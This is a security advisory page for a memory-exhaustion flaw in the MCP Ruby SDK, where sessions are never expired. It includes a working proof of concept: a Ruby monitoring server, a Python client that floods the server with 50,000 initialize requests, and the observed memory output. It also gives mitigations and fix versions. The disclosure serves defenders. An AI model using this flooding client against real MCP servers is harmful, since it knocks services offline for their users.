GHSA-52jp-gj8w-j6xh is a medium-severity (CVSS 5.3) CWE-401 vulnerability in mcp. O3 Security confirms whether GHSA-52jp-gj8w-j6xh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-52jp-gj8w-j6xh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-52jp-gj8w-j6xh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 372,613 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
mcpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb:
- Line 27, constructor:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)— the default forsession_idle_timeoutisnil. - Line 46:
start_reaper_thread if @session_idle_timeout— when the timeout isnil, the reaper that prunes idle sessions is never started. - Lines 604–643 (
handle_initialization): every successfulinitializeinserts a new session record; the only removal sites arehandle_delete(client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):
By default, sessions do not expire. To mitigate session hijacking risks, you can set a
session_idle_timeout(in seconds).
Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.
Proof of concept
Server (session_poc_server.rb)
Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (session_poc_client.py)
import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")
Reproduction commands
bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely
Client terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s
50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.
<img width="3544" height="1674" alt="image" src="https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c" />Impact
- Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
- Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
- Affected deployments: every deployment that does not opt into
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.
Suggested mitigation
- Change the default of
session_idle_timeoutto a finite value (e.g. 30 minutes) and document the change as a security default. - Add a
max_sessions:constructor option; rejectinitializewith HTTP 503 once the cap is reached. - Track the time of the
initializePOST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | mcp | all versions | 0.23.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mcp to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-52jp-gj8w-j6xh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-52jp-gj8w-j6xh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-52jp-gj8w-j6xh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-52jp-gj8w-j6xh in your dependencies?
O3 detects GHSA-52jp-gj8w-j6xh across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.